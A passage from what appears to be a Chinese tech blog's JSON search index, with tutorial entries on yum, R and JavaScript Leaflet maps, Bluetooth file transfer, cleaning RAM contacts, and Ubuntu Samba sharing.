指令可以用來清理快取用的暫存檔，若要清理暫存的 RPM 標頭檔則執行：\nyum clean headers 若要清理暫存的 RPM 套件檔則執行：\nyum clean packages 若要清理所有的暫存檔則執行：\nyum clean all 參考資料 The Geek Stuff Tecmint ","permalink":"https://blog.gtwang.org/linux/yum-linux-command-tutorial-and-examples/","summary":"\u003cp\u003e這裡提供 Linux 的 \u003ccode\u003eyum\u003c/code\u003e 指令基礎教學，並提供豐富的 rpm 套件管理範例。\u003c/p\u003e\n\u003cp\u003eyum 是用來管理 rpm 套件的工具，可以自動處理相依性的問題，在 Red Hat 系列的 Linux 系統上時常被使用，以下是 \u003ccode\u003eyum\u003c/code\u003e 指令的基本用法與範例。\u003c/p\u003e","title":"Linux yum 套件指令教學與範例，RPM 套件管理工具"},{"content":"這裡介紹如何在 R 中使用 Leaflet 繪製互動式的地圖，並將資料呈現在地圖上。\nLeaflet 是一套相當熱門的網頁互動式地圖繪製工具，在 R 中我們也可以利用這套工具來繪製地圖，並將各種資料標示在地圖上，讓使用者以互動式的方式瀏覽資料。\nR 的 leaflet 套件讓使用者在 R 的環境中（標準 R 執行環境或 RStudio）直接畫出網頁互動式的地圖，使用者可以使用滑鼠操作地圖（放大、移動等），另外 Leaflet 的地圖也可以內坎在 R Markdown 文件或 Shiny 應用程式中，與既有的文件或應用程式整合在一起。\n基本用法 R 的 leaflet 套件已經被收錄在官方的 CRAN 網站上，在 R 中使用 install.packages 即可安裝：\ninstall.packages(\u0026#34;leaflet\u0026#34;) 接著載入 leaflet 套件，即可開始使用：\nlibrary(leaflet) leaflet 可以配合 magrittr 的 %\u0026gt;% 管線運算子使用：\nmap \u0026lt;- leaflet() %\u0026gt;% addTiles() %\u0026gt;% # 加上預設的地圖資料 addMarkers(lng=120.239, lat=22.992, popup=\u0026#34;訊息方塊的文字說明\u0026#34;) map # 繪製地圖 若不熟悉 magrittr 的 %\u0026gt;% 管線運算子語法，也可以使用傳統的 R 語法，兩種寫法功能都一樣：\nmap \u0026lt;- leaflet() map \u0026lt;- addTiles(map) map \u0026lt;- addMarkers(map, lng=120.239, lat=22.992, popup=\u0026#34;訊息方塊的文字說明\u0026#34;) map Leaflet 地圖物件 leaflet 函數會傳回一個 Leaflet 的地圖物件（map widget object），此物件中儲存了許多地圖繪製的相關資訊，可於後續持續修改與更新，而大部分的 leaflet 套件中的函數，第一個參數都是指定地圖物件，因此可以非常容易與 magrittr 的管線運算子配合使用。\n地圖屬性 在建立 Leaflet 地圖物件之後，可以利用以下幾個函數來修改地圖物件的屬性：\n函數名稱 說明 setView 設定地圖的中心座標位置以及縮放比例。 fitBounds 設定地圖的位置與縮放比例，讓畫面剛好可呈現指定的方形區域。 clearBounds 清除指定的方形區域，顯示最大的區域（全球地圖）。 以下示範這幾個函數的使用方式，通常在建立地圖時都會使用 setView 設定地圖的位置與縮放比例：\nm \u0026lt;- leaflet() %\u0026gt;% addTiles() %\u0026gt;% setView(-71.0382679, 42.3489054, zoom = 18) m 若要顯示特定的矩形區域，則可使用 fitBounds 來變更地圖的顯示區域：\nm %\u0026gt;% fitBounds(-72, 40, -70, 43) 清除了指定的方形區域之後，就會顯示最大的區域，亦即全球地圖：\nm %\u0026gt;% clearBounds() 資料來源 leaflet 與各種地圖圖層函數都有一個 data 參數，可用來指定空間資料（spatial data）的來源，其可接受的資料格式有很多種：\n類型 資料格式 基本類型 包含經緯度的 R 矩陣 包含經緯度的 data frame sp 套件 SpatialPoints[DataFrame] Line/Lines SpatialLines[DataFrame] Polygon/Polygons SpatialPolygons[DataFrame] maps 套件 由 map 函數所產生的 data frame 當資料來源為一般的 data frame 時，leaflet 會自動尋找 data frame 中名稱類似 lng、longitude 與 lat、latitude 作為經緯度座標，以下是一個以圓圈標示資料的範例：\nset.seed(3) point.df \u0026lt;- data.frame( Lat = 22.992 + rnorm(10)/800, Long = 120.239 + rnorm(10)/800 ) m \u0026lt;- leaflet(point.df) %\u0026gt;% addTiles() %\u0026gt;% setView(lng = 120.239, lat = 22.992, zoom = 17) m %\u0026gt;% addCircles() 亦可使用公式的方式明確指定經緯度座標的變數名稱：\nm %\u0026gt;% addCircles(lng = ~Long, lat = ~Lat) 也可以針對特定的圖層個別指定不同的資料來源：\nm \u0026lt;- leaflet() %\u0026gt;% addTiles() %\u0026gt;% setView(lng = 120.239, lat = 22.992, zoom = 17) m %\u0026gt;% addCircles(data = point.df, lng = ~Long, lat = ~Lat) 關於 sp 與 maps 套件的資料來源範例，可參考 R Leaflet 套件官方網站的範例。\n公式介面 leaflet 套件中所有圖層函數的參數都可以接受一般的 R 向量（例如以數值向量指定經緯度等），也可以使用單邊的公式指定 data 資料來源中的變數，例如 ~ x 就是指 data 中的 x 變數，另外也可以結合各種的數學轉換，例如 ~ sqrt(x + 1)。\n以下是一個使用公式的範例：\nset.seed(3) point.df \u0026lt;- data.frame( lat = 22.97 + rnorm(100)/800, long = 120.23 + rnorm(100)/800, size = runif(100, 5, 20), color = sample(colors(), 100) ) m \u0026lt;- leaflet(point.df) %\u0026gt;% addTiles() %\u0026gt;% setView(lng = 120.23, lat = 22.97, zoom = 17) m %\u0026gt;% addCircleMarkers(radius = ~size, color = ~color, fill = FALSE) 這是使用一般 R 向量的例子：\nm %\u0026gt;% addCircleMarkers(radius = runif(100, 4, 10), color = c(\u0026#39;red\u0026#39;)) 地圖資料來源 Leaflet 使用圖磚（map tiles）的方式繪製基本地圖，目前網路上的各種地圖服務大部分也都是使用這種方式。\n要在 leaflet 地圖物件上加上基本的地圖，可以使用 addTiles：\nm \u0026lt;- leaflet() %\u0026gt;% setView(lng=120.239, lat=22.992, zoom = 12) m %\u0026gt;% addTiles() Leaflet 預設會使用 OpenStreetMap 的地圖資料，除此之外也可以使用 addProviderTiles 指定不同的地圖資料來源：\nm %\u0026gt;% addProviderTiles(\u0026#34;Stamen.Toner\u0026#34;) addTiles 也可以允許使用者自定地圖資料來源的網址樣板。\nWMS 圖磚 addWMSTiles 函數可以在地圖上加入 WMS（Web Map Service）圖磚，下面這個是顯示雷達回波圖的例子（資料來源為 Iowa Environmental Mesonet）：\nleaflet() %\u0026gt;% addTiles() %\u0026gt;% setView(-93.65, 42.0285, zoom = 5) %\u0026gt;% addWMSTiles( \u0026#34;http://mesonet.agron.iastate.edu/cgi-bin/wms/nexrad/n0r.cgi\u0026#34;, layers = \u0026#34;nexrad-n0r-900913\u0026#34;, options = WMSTileOptions(format = \u0026#34;image/png\u0026#34;, transparent = TRUE), attribution = \u0026#34;Weather data © 2012 IEM Nexrad\u0026#34; ) 多個地圖資料來源 Leaflet 允許在一個地圖上同時加入多個地圖資料來源，通常可以利用透明度的設定，套疊多種地圖：\nm %\u0026gt;% addProviderTiles(\u0026#34;MtbMap\u0026#34;) %\u0026gt;% addProviderTiles(\u0026#34;Stamen.TonerLines\u0026#34;, options = providerTileOptions(opacity = 0.35) ) %\u0026gt;% addProviderTiles(\u0026#34;Stamen.TonerLabels\u0026#34;) 地圖標示 地圖標示可以用來呈現地圖上的經緯度座標位置，我們可以使用 SpatialPoints、SpatialPointsDataFrame 的方式表示經緯度座標，或是直接使用兩個行（column）的矩陣來表示（第一行為經度，第二行為緯度）。另外也可以使用一般的 data frame 配合公式指定經緯度座標欄位，以下是一些使用範例。\n圖示標示 普通的圖示標示可以使用 addMarker 來加入，而其 popup 參數可以指定點擊標示時要出現訊息內容：\n# 顯示 quakes 的前 20 筆資料 leaflet(data = quakes[1:20,]) %\u0026gt;% addTiles() %\u0026gt;% addMarkers(~long, ~lat, popup = ~as.character(mag)) 自訂標示 標示用的圖示也可以自行指定，例如利用 makeIcon 配合 URL 網址的方式指定圖檔：\ngreenLeafIcon \u0026lt;- makeIcon( iconUrl = \u0026#34;http://leafletjs.com/docs/images/leaf-green.png\u0026#34;, iconWidth = 38, iconHeight = 95, iconAnchorX = 22, iconAnchorY = 94, shadowUrl = \u0026#34;http://leafletjs.com/docs/images/leaf-shadow.png\u0026#34;, shadowWidth = 50, shadowHeight = 64, shadowAnchorX = 4, shadowAnchorY = 62 ) leaflet(data = quakes[1:4,]) %\u0026gt;% addTiles() %\u0026gt;% addMarkers(~long, ~lat, icon = greenLeafIcon) 如果有多個同一系列的圖示，大小都相同，只是網址不同，則可以使用 icons 一次建立多個圖示：\nquakes1 \u0026lt;- quakes[1:10,] leafIcons \u0026lt;- icons( iconUrl = ifelse(quakes1$mag \u0026lt; 4.6, \u0026#34;http://leafletjs.com/docs/images/leaf-green.png\u0026#34;, \u0026#34;http://leafletjs.com/docs/images/leaf-red.png\u0026#34; ), iconWidth = 38, iconHeight = 95, iconAnchorX = 22, iconAnchorY = 94, shadowUrl = \u0026#34;http://leafletjs.com/docs/images/leaf-shadow.png\u0026#34;, shadowWidth = 50, shadowHeight = 64, shadowAnchorX = 4, shadowAnchorY = 62 ) leaflet(data = quakes1) %\u0026gt;% addTiles() %\u0026gt;% addMarkers(~long, ~lat, icon = leafIcons) 對於樣式大小都不同的多個圖示，則可使用 iconList 來處理：\n# 建立多個圖示 oceanIcons \u0026lt;- iconList( ship = makeIcon(\u0026#34;ferry_36.png\u0026#34;, 36, 36), pirate = makeIcon(\u0026#34;danger_48.png\u0026#34;, 48, 48) ) # 建立測試用資料 set.seed(5) df \u0026lt;- sp::SpatialPointsDataFrame( cbind( (runif(10) - .5) * 10 - 90.620130, # lng (runif(10) - .5) * 3.8 + 25.638077 # lat ), data.frame(type = factor( ifelse(runif(10) \u0026gt; 0.75, \u0026#34;pirate\u0026#34;, \u0026#34;ship\u0026#34;), c(\u0026#34;ship\u0026#34;, \u0026#34;pirate\u0026#34;) )) ) leaflet(df) %\u0026gt;% addTiles() %\u0026gt;% # 根據 df$type 選擇圖示 addMarkers(icon = ~oceanIcons[type]) 如果想要自己畫出上面這個地圖，請先下載兩個圖示檔 [ferry_36.png][9] 與 [danger_48.png][10]。\n叢集標示 如果有大量的標示集中在同一個小區域，可以使用 Leaflet.markercluster 這個外掛工具，在 R 中可以使用 clusterOptions 參數來啟用這個外掛工具：\nleaflet(quakes) %\u0026gt;% addTiles() %\u0026gt;% addMarkers( clusterOptions = markerClusterOptions() ) 圓圈標示 addCircleMarkers 可以在地圖上加上圓圈的標示，而這種圓圈的大小是固定的，不會因為縮放地圖而改變：\nleaflet(df) %\u0026gt;% addTiles() %\u0026gt;% addCircleMarkers() 自訂圓圈的大小、顏色、樣式、透明度等屬性：\n# 將因子對應至顏色 pal \u0026lt;- colorFactor(c(\u0026#34;navy\u0026#34;, \u0026#34;red\u0026#34;), domain = c(\u0026#34;ship\u0026#34;, \u0026#34;pirate\u0026#34;)) leaflet(df) %\u0026gt;% addTiles() %\u0026gt;% addCircleMarkers( radius = ~ifelse(type == \u0026#34;ship\u0026#34;, 6, 10), color = ~pal(type), stroke = FALSE, fillOpacity = 0.5 ) 訊息方塊 addPopups 可以在地圖上加入訊息方塊，其內容可以包涵任何的 HTML 程式碼：\ncontent \u0026lt;- paste(sep = \u0026#34;\u0026lt;br/\u0026gt;\u0026#34;, \u0026#34;\u0026lt;b\u0026gt;\u0026lt;a href=\u0026#39;http://www.samurainoodle.com\u0026#39;\u0026gt;Samurai Noodle\u0026lt;/a\u0026gt;\u0026lt;/b\u0026gt;\u0026#34;, \u0026#34;606 5th Ave. S\u0026#34;, \u0026#34;Seattle, WA 98138\u0026#34; ) leaflet() %\u0026gt;% addTiles() %\u0026gt;% addPopups(-122.327298, 47.597131, content, options = popupOptions(closeButton = FALSE) ) 訊息方塊最常見的用法就是配合地圖上的標示一同使用，當使用者點擊標示時，跳出對應的訊息：\nlibrary(htmltools) df \u0026lt;- read.csv(textConnection( \u0026#34;Name,Lat,Long Samurai Noodle,47.597131,-122.327298 Kukai Ramen,47.6154,-122.327157 Tsukushinbo,47.59987,-122.326726\u0026#34; )) leaflet(df) %\u0026gt;% addTiles() %\u0026gt;% addMarkers(~Long, ~Lat, popup = ~htmlEscape(Name)) 上面的 htmlEscape 是用來處理一些 HTML 的特殊字元的函數，可讓資料可以依照原本的樣子呈現在地圖上，在這個例子中可以將其省略，但在一般的狀況下最好都加入這個處理步驟，確保資料可以正確呈現。\n線條與形狀 R 的 Leaflet 套件可以讓使用者在地圖上加入各種線條或形狀，其可接受的資料格式包含：\nsp 套件的 SpatialPolygons、SpatialPolygonsDataFrame、Polygon 與 Polygons。 sp 套件的 SpatialLines、SpatialLinesDataFrame、Lines 與 Line。 maps 套件的 map 物件（map(fill = TRUE) 代表多邊形，map(fill = FALSE) 代表折線）。 兩個行（column）的矩陣，第一行為經度，第二行為緯度。若要包含多個多邊形，可以用 (NA, NA) 分隔。 多邊形 addPolygons 可加入多邊形：\nLat \u0026lt;- c(22.992, 22.982, 22.970, 22.990) Long \u0026lt;- c(120.289, 120.299, 120.267, 120.267) leaflet() %\u0026gt;% addTiles() %\u0026gt;% addPolygons(lng = Long, lat = Lat) 以下是繪製美國幾個州範例，資料來源為美國人口普查局：\nlibrary(rgdal) states \u0026lt;- readOGR(\u0026#34;census/cb_2015_us_state_20m.shp\u0026#34;, layer = \u0026#34;cb_2015_us_state_20m\u0026#34;, verbose = FALSE) neStates \u0026lt;- subset(states, states$STUSPS %in% c( \u0026#34;CT\u0026#34;,\u0026#34;ME\u0026#34;,\u0026#34;MA\u0026#34;,\u0026#34;NH\u0026#34;,\u0026#34;RI\u0026#34;,\u0026#34;VT\u0026#34;,\u0026#34;NY\u0026#34;,\u0026#34;NJ\u0026#34;,\u0026#34;PA\u0026#34; )) leaflet(neStates) %\u0026gt;% addPolygons( stroke = FALSE, fillOpacity = 0.5, smoothFactor = 0.5, color = ~colorQuantile(\u0026#34;YlOrRd\u0026#34;, states$AWATER)(AWATER) ) 圓圈 addCircles 可以在地圖上加上圓圈，其與 addCircleMarkers 類似，只是 addCircles 的半徑單位是實際的公尺，而 addCircleMarkers 的單位則是螢幕上的像素，所以 addCircles 的圓圈會依據地圖的縮放比例自動調整大小，而 addCircleMarkers 的圓圈大小則是固定的。\ncities \u0026lt;- read.csv(textConnection(\u0026#34; City,Lat,Long,Pop Boston,42.3601,-71.0589,645966 Hartford,41.7627,-72.6743,125017 New York City,40.7127,-74.0059,8406000 Philadelphia,39.9500,-75.1667,1553000 Pittsburgh,40.4397,-79.9764,305841 Providence,41.8236,-71.4222,177994 \u0026#34;)) leaflet(cities) %\u0026gt;% addTiles() %\u0026gt;% addCircles(lng = ~Long, lat = ~Lat, weight = 1, radius = ~sqrt(Pop) * 30, popup = ~City ) 矩形 addRectangles 可以在地圖上標示矩形的區域：\nleaflet() %\u0026gt;% addTiles() %\u0026gt;% addRectangles( lng1=-118.456554, lat1=34.078039, lng2=-118.436383, lat2=34.062717, fillColor = \u0026#34;transparent\u0026#34; ) ","permalink":"https://blog.gtwang.org/r/r-leaflet-interactive-map-package-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 R 中使用 Leaflet 繪製互動式的地圖，並將資料呈現在地圖上。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/web-development/leaflet-open-source-javascript-library-for-mobile-friendly-interactive-maps/\"\u003eLeaflet\u003c/a\u003e 是一套相當熱門的網頁互動式地圖繪製工具，在 R 中我們也可以利用這套工具來繪製地圖，並將各種資料標示在地圖上，讓使用者以互動式的方式瀏覽資料。\u003c/p\u003e","title":"R Leaflet 地圖套件：繪製網頁互動式地圖，呈現經緯度座標資料"},{"content":"這裡教大家如何使用手機的藍牙傳輸功能，傳送檔案到另一支手機上，可用來分享照片、影片或各種檔案。\n藍牙（bluetooth）是一種無線傳輸技術，用於短距離間的資料傳送，現在的智慧型手機都有內建藍牙功能，只要兩支手機夠靠近（大約在 10 公尺之內），就可以直接使用藍牙互相傳送檔案，不需要任何 USB 傳輸線或其他的設備，出門在外要跟朋友分享檔案時，隨時都可以使用，非常方便。\n這裡我用我的小米 Max 與舊的紅米手機示範兩支手機如何透過藍牙送與接收檔案，基本上各種手機的操作方式都大同小異，以下是用藍芽傳送檔案的步驟。\nStep 1\n首先將兩台手機的藍芽功能都打開，也就是啟用「開啟藍芽」功能（左圖），而接收端的手機一定要開啟「開放檢測」，允許其他手機搜尋，這樣其他手機在傳送檔案時，才能看得到這一台要收檔案的手機。\n接著在傳送端手機上選擇要傳送的檔案（右圖），這裡我們示範傳送一張照片，選擇手機上的「傳送」功能（不同的手機可能會有些差異，不過概念都相同）。\nStep 2\n選擇檔案傳送的方式，這裡選擇「藍牙」（左圖）。接著要選擇藍牙裝置（右圖），也就是要接收檔案的手機。\n如果在這裡看不到要接收檔案的手機，通常是那隻手機沒有打開藍牙功能，或是沒有開啟藍牙的「開放檢測」功能，請檢查手機上的藍牙設定。\nStep 3\n接著在「接收端」的手機上就會出現藍牙檔案傳輸的確認訊息（左圖），詢問使用者是否要接受檔案，請點選「接受」。接著就會開始傳輸檔案了（右圖）。\nStep 4\n等待傳輸完成後，就可以點選接收的項目來開啟檔案了。\nStep 5\n藍牙也可以一次傳送多個檔案，就按照一般的方式把要傳送的檔案都選取起來，然後全部透過藍牙傳送。\n這種透過藍牙分享檔案的方式，不需要任何事先的設定，只要兩支手機都開啟藍芽即可傳送，適用於任何檔案類型，不管是照片、影片、Word 檔、PDF 檔等都可以使用，非常方便。\n","permalink":"https://blog.gtwang.org/mobile/bluetooth-file-transfer-between-nearby-smartphones/","summary":"\u003cp\u003e這裡教大家如何使用手機的藍牙傳輸功能，傳送檔案到另一支手機上，可用來分享照片、影片或各種檔案。\u003c/p\u003e\n\u003cp\u003e藍牙（bluetooth）是一種無線傳輸技術，用於短距離間的資料傳送，現在的智慧型手機都有內建藍牙功能，只要兩支手機夠靠近（大約在 10 公尺之內），就可以直接使用藍牙互相傳送檔案，不需要任何 USB 傳輸線或其他的設備，出門在外要跟朋友分享檔案時，隨時都可以使用，非常方便。\u003c/p\u003e","title":"兩隻手機使用藍牙功能互傳檔案教學，分享照片或影片等各種檔案"},{"content":"這裡教大家如何使用橡皮擦來保養電腦記憶體的金手指，解決電腦當機、不能開機的問題。\n電腦的記憶體使用久了，很容易因為金手指氧化或是沾上灰塵、接觸不良，造成電腦當機或是開機時有嗶嗶的叫聲而開不了機，這時候可以嘗試使用一般的橡皮擦，將記憶體的金手指清理一下，有時候只要花幾分鐘簡單保養一下，就可以把當機問題修好，省去一些維修費用。\nStep 1\n首先打開電腦的機殼。\nStep 2\n將記憶體從主機板上拆下來。記憶體的插槽就在 CPU 旁邊，搬開記憶體兩側的卡榫，就可以將記憶體取下。\nStep 3\n電腦上如果有其他的卡片，例如顯示卡等，也可以一起拆下來清理。\nStep 4\n準備一個普通的橡皮擦。\nStep 5\n使用橡皮擦將記憶體的金手指擦一擦，清除表面的灰塵與氧化物。\nStep 6\n顯示卡的部份也是一樣使用橡皮擦清理。\nStep 7\n如果有空氣噴槍的話，可以使用空氣噴槍將主機板上的灰塵清一清，這樣也可以降低電腦故障的機會。\nStep 8\n清理完金手指之後，在將記憶體與顯示卡等插回主機板，這樣就完成了。\n","permalink":"https://blog.gtwang.org/tips/cleaning-memory-using-eraser/","summary":"\u003cp\u003e這裡教大家如何使用橡皮擦來保養電腦記憶體的金手指，解決電腦當機、不能開機的問題。\u003c/p\u003e\n\u003cp\u003e電腦的記憶體使用久了，很容易因為金手指氧化或是沾上灰塵、接觸不良，造成電腦當機或是開機時有嗶嗶的叫聲而開不了機，這時候可以嘗試使用一般的橡皮擦，將記憶體的金手指清理一下，有時候只要花幾分鐘簡單保養一下，就可以把當機問題修好，省去一些維修費用。\u003c/p\u003e","title":"用橡皮擦清潔氧化的記憶體金手指，解決電腦當機、不能開機的問題"},{"content":"Leaflet 是一套適用於各種平台的 JavaScript 地圖繪製工具，可以呈現類似 Google 地圖的效果。\n要在網頁上呈現地圖，除了大多數人所熟知的 Google 地圖之外，Leaflet 也是一套很不錯的工具，它是一套開放原始碼的輕量級 JavaScript 網頁地圖函式庫，其所呈現的效果與 Google 地圖非常相似，主要的特色是使用簡單、速度快，並且跨平台，許多知名網站（如 GitHub 與 Flickr 等）都是使用 Leaflet 來呈現地圖。\n以下是 Leaflet 的使用教學，以及一些入門範例。\n基本使用教學 Step 1\n首先從 Leaflet 的網站上下載 Leaflet 的 JavaScript 函式庫，並引入網頁中：\n\u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;/path/to/leaflet.css\u0026#34; /\u0026gt; \u0026lt;script src=\u0026#34;/path/to/leaflet.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 或是使用官方提供的 CDN 服務：\n\u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;https://npmcdn.com/leaflet@0.7.7/dist/leaflet.css\u0026#34; /\u0026gt; \u0026lt;script src=\u0026#34;https://npmcdn.com/leaflet@0.7.7/dist/leaflet.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; Step 2\n在網頁中加入一個 \u0026lt;div\u0026gt; 元素，並且指定一個任意的 id：\n\u0026lt;div id=\u0026#34;mapid\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; Step 3\n在 CSS 的設定中，加入 \u0026lt;div\u0026gt; 元素的高度設定：\n#mapid { height: 180px; } Step 4\n加入 JavaScript 程式碼：\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; // 建立 Leaflet 地圖 var map = L.map(\u0026#39;mapid\u0026#39;); // 設定經緯度座標 map.setView(new L.LatLng(22.992, 120.239), 12); // 設定圖資來源 var osmUrl=\u0026#39;https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png\u0026#39;; var osm = new L.TileLayer(osmUrl, {minZoom: 8, maxZoom: 16}); map.addLayer(osm); \u0026lt;/script\u0026gt; 畫出來的地圖會像這樣：\n圖資可以自行選擇，除了 OpenStreetMap 之外，也可以使用 Mapbox 的圖資，使用方式可以參考 Leaflet 的官方教學。\n加入圖標 以 L.marker 加入 marker：\nvar marker = L.marker([22.992, 120.239]).addTo(map); 以 L.circle 加入圓圈：\nvar circle = L.circle( [22.988, 120.220], // 圓心座標 1000, // 半徑（公尺） { color: \u0026#39;red\u0026#39;, // 線條顏色 fillColor: \u0026#39;#f03\u0026#39;, // 填充顏色 fillOpacity: .5 // 透明度 } ).addTo(map); 以 L.polygon 加入多邊形：\nvar polygon = L.polygon([ [22.992, 120.289], [22.982, 120.299], [22.970, 120.267], [22.990, 120.267] ]).addTo(map); 這是加上各種圖標的地圖：\n加入訊息方塊 以 bindPopup 將圖標加上訊息方塊：\nmarker.bindPopup(\u0026#34;\u0026lt;strong\u0026gt;地標\u0026lt;/strong\u0026gt;\u0026lt;br\u0026gt;標示的位置。\u0026#34;).openPopup(); circle.bindPopup(\u0026#34;這是圓圈。\u0026#34;); polygon.bindPopup(\u0026#34;這是多邊形。\u0026#34;); 也可以在地圖上建立獨立的訊息方塊：\nvar popup = L.popup() .setLatLng([23.010, 120.289]) .setContent(\u0026#34;獨立的訊息方塊。\u0026#34;) .openOn(map); 事件處理 在地圖上加入事件處理的 JavaScript 程式碼，當使用者點擊地圖時，顯示經緯度座標：\nfunction onMapClick(e) { alert(\u0026#34;經緯度座標：\u0026#34; + e.latlng); } map.on(\u0026#39;click\u0026#39;, onMapClick); 這是加入事件處理的地圖，用滑鼠點擊地圖就會顯示經緯度座標：\n結合事件處理與訊息方塊，提供比較好的使用者體驗：\nvar popup = L.popup(); function onMapClick(e) { popup .setLatLng(e.latlng) .setContent(\u0026#34;經緯度座標：\u0026#34; + e.latlng.toString()) .openOn(map); } map.on(\u0026#39;click\u0026#39;, onMapClick); 這樣用滑鼠點擊地圖之後，就會以訊息方塊顯示經緯度座標：\n參考資料 SWITCH2OSM ","permalink":"https://blog.gtwang.org/web-development/leaflet-open-source-javascript-library-for-mobile-friendly-interactive-maps/","summary":"\u003cp\u003eLeaflet 是一套適用於各種平台的 JavaScript 地圖繪製工具，可以呈現類似 Google 地圖的效果。\u003c/p\u003e\n\u003cp\u003e要在網頁上呈現地圖，除了大多數人所熟知的 Google 地圖之外，\u003ca href=\"https://leafletjs.com/\"\u003eLeaflet\u003c/a\u003e 也是一套很不錯的工具，它是一套開放原始碼的輕量級 JavaScript 網頁地圖函式庫，其所呈現的效果與 Google 地圖非常相似，主要的特色是使用簡單、速度快，並且跨平台，許多知名網站（如 \u003ca href=\"https://github.blog/news-insights/product-news/there-s-a-map-for-that/\"\u003eGitHub\u003c/a\u003e 與 \u003ca href=\"https://www.flickr.com/map\"\u003eFlickr\u003c/a\u003e 等）都是使用 Leaflet 來呈現地圖。\u003c/p\u003e","title":"Leaflet 互動式 JavaScript 地圖繪製工具，適用手機、平板與電腦"},{"content":"這裡介紹如何在 Ubuntu Linux 中使用網路芳鄰分享目錄，讓 Windows 的電腦可以直接透過區域網路存取 Linux 系統上的檔案。\n如果您有使用 Ubuntu Linux 作為工作環境的習慣，一定會遇到需要在 Ubuntu Linux 與 Windows 電腦之間傳送檔案的狀況，當然最單純的作法就是拿一個 USB 隨身碟來複製檔案，不需要任何設定即可立即使用，不過如果時常需要傳送檔案的話，透過網路芳鄰來分享還是比較方便的作法。\n以下我們介紹在 Ubuntu Linux 中安裝並開啟 Samba 服務的步驟，以網路芳鄰的方式分享目錄給 Windows 系統。\n使用網路芳鄰分享檔案的方式只適合用於同一個區域網路之中的電腦，例如接在同一個 IP 分享器上的多台電腦，如果是跨越網際網路的遠端電腦就無法使用這樣的方式傳輸資料。\nStep 1\n在 Ubuntu Linux 桌面上，選擇要分享的目錄，在右鍵選單中選擇「屬性」。（或是選擇「本地網路共享」亦可）\nStep 2\n在「本地網路共享」中，點選「共享此資料夾」。\nStep 3\n如果是第一次使用的話，在啟用前要先安裝 Windows 網路分享服務（也就是 Samba）。\nStep 4\n點選「安裝」。\nStep 5\n輸入密碼。\nStep 6\n安裝完後，點選「重開工作階段」啟用分享功能。\nStep 7\n下方有兩個「允許別人於此資料夾建立和刪除檔案」與「客戶權限」，如果是自己家的電腦，可以將兩個選項都勾選，方便 Ubuntu Linux 與 Windows 雙向傳輸資料。\nStep 8\n勾選「允許別人於此資料夾建立和刪除檔案」時，要加入一些寫入權限，請點選「自動加入權限」。\nStep 9\n設定完成後，在 Windows 的檔案總管中，輸入兩個反斜線加上 Ubuntu Linux 的 IP 位址（或是主機名稱）：\n10.0.2.15 開啟後就可以看到 Ubuntu Linux 主機上分享出來的目錄了。\nStep 10\n進入分享的目錄之後，除了抓取 Ubuntu Linux 主機上的檔案之外，也可以在這裡新增檔案。\nStep 11\n在 Windows 端新增的檔案，馬上就可以在 Ubuntu Linux 上看到。\nStep 12\n在 Windows 端新增的檔案，在 Ubuntu Linux 上預設的擁有者會是 nobody，如果需要在 Ubuntu Linux 要進一部修改的話，可以自行更改權限。\nStep 13\n如果想要改善 Ubuntu Linux 檔案擁有者的問題，可以在 Ubuntu Linux 系統下設定 Samba 帳號的密碼：\nsudo smbpasswd -a USERNAME 然後將上面的「允許別人於此資料夾建立和刪除檔案」與「客戶權限」選項取消，改使用這個帳號密碼從 Windows 登入：\n這樣所有在 Windows 端所建立的檔案，都會直接對應到 Ubuntu Linux 的帳號擁有者，使用上會更方便。\nSamba 的帳號與 Linux 系統的帳號是共用的，而密碼則是分開管理，如果是自己家中的電腦，可以將 Samba 的帳號與密碼設定成跟 Windows 一樣，這樣在 Windows 使用網路芳鄰存取 Ubuntu Linux 的目錄時，就可以不需要打密碼，用起來跟沒有密碼一樣方便。\n參考資料 askubuntu askubuntu ","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-share-files-with-windows/","summary":"\u003cp\u003e這裡介紹如何在 Ubuntu Linux 中使用網路芳鄰分享目錄，讓 Windows 的電腦可以直接透過區域網路存取 Linux 系統上的檔案。\u003c/p\u003e\n\u003cp\u003e如果您有使用 Ubuntu Linux 作為工作環境的習慣，一定會遇到需要在 Ubuntu Linux 與 Windows 電腦之間傳送檔案的狀況，當然最單純的作法就是拿一個 USB 隨身碟來複製檔案，不需要任何設定即可立即使用，不過如果時常需要傳送檔案的話，透過網路芳鄰來分享還是比較方便的作法。\u003c/p\u003e","title":"Ubuntu Linux 網路芳鄰分享目錄教學，讓 Windows 存取檔案"},{"content":"這些是阿玄在幼兒園中班畫的塗鴉畫。\n","permalink":"https://blog.gtwang.org/personal/qixuan-drawing-20160802/","summary":"\u003cp\u003e這些是阿玄在幼兒園中班畫的塗鴉畫。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-1\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-2\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-3\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-3.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-4\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-4.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-5\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-5.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-6\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20160802/qixuan-drawing-20160802-6.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"qixuan-drawing-20160802-7\" loading=\"lazy\" 